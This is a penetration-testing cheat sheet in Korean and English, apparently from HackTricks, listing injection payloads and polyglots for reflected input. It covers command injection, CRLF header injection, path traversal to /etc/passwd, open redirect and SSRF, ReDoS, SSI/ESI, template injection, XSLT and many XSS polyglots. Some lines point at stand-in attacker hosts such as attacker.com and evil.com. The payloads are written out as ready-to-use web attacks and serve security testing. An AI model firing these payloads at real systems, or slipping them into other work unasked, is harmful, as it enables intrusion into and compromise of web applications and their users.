# Reflecting Techniques - PoCs and Polygloths CheatSheet {{#include ../../banners/hacktricks-training.md}} 이 PoCs와 Polygloths의 목표는 테스터에게 **응답에 입력이 반영되는 경우** 그가 악용할 수 있는 취약점에 대한 빠른 **요약**을 제공하는 것입니다. > [!WARNING] > 이 **치트시트는 각 취약점에 대한 포괄적인 테스트 목록을 제안하지 않습니다**, 기본적인 것들만 포함되어 있습니다. 더 포괄적인 테스트를 원하신다면 제안된 각 취약점에 접근하세요. > [!CAUTION] > **XXE와 같은 Content-Type 의존 주입**은 찾을 수 없습니다. 일반적으로 xml 데이터를 전송하는 요청을 발견하면 직접 시도할 것입니다. **데이터베이스 주입**도 여기에는 없습니다. 일부 콘텐츠가 반영될 수 있지만 이는 백엔드 DB 기술 및 구조에 크게 의존합니다. ## Polygloths list ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

THIS IS AND INJECTED TITLE

/etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ " onclick=alert() a=" '"> javascript:alert() javascript:"/*'/*`/*--> -->'"/>
">>" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` ## [Client Side Template Injection](../client-side-template-injection-csti.md) ### 기본 테스트 ``` {{7*7}} [7*7] ``` ### 폴리글로스 ```bash {{7*7}}[7*7] ``` ## [Command Injection](../command-injection.md) ### 기본 테스트 ```bash ;ls ||ls; |ls; &&ls; &ls; %0Als `ls` $(ls) ``` ### Polygloths ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` ## [CRLF](../crlf-0d-0a.md) ### 기본 테스트 ```bash %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` ## Dangling Markup ### Basic Tests ```html <br><b><h1>THIS IS AND INJECTED TITLE </h1> ``` ## [파일 포함/경로 탐색](../file-inclusion/index.html) ### 기본 테스트 ```bash /etc/passwd ../../../../../../etc/hosts ..\..\..\..\..\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\..\..\..\..\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` ## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html) ### 기본 테스트 ```bash www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) ``` ## [ReDoS](../regular-expression-denial-of-service-redos.md) ### 기본 테스트 ```bash (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ ``` ## [서버 사이드 포함/엣지 사이드 포함](../server-side-inclusion-edge-side-inclusion-injection.md) ### 기본 테스트 ```html <!--#echo var="DATE_LOCAL" --> <!--#exec cmd="ls" --> <esi:include src=http://attacker.com/> x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ### 폴리글로스 ```html <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>> ``` ## [서버 측 요청 위조](../ssrf-server-side-request-forgery/index.html) Open Redirect에 사용된 동일한 테스트를 여기서 사용할 수 있습니다. ## [서버 측 템플릿 주입](../ssti-server-side-template-injection/index.html) ### 기본 테스트 ```html ${{<%[%'"}}%\ {{7*7}} ${7*7} <%= 7*7 %> ${{7*7}} #{7*7} ``` ### Polygloths ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md) ### 기본 테스트 ```html <xsl:value-of select="system-property('xsl:version')" /> <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ### 폴리글로스 ```html <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include> ``` ## XSS ### 기본 테스트 ```html " onclick=alert() a=" '"><img src=x onerror=alert(1) /> javascript:alert() ``` ### Polygloths ```html javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* javascript://--></title></style></textarea></script><svg "//' onclick=alert()// /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* -->'"/></sCript><svG x=">" onload=(co\u006efirm)``> <svg%0Ao%00nload=%09((pro\u006dpt))()// javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` %0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">` javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'> javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//> ``` {{#include ../../banners/hacktricks-training.md}}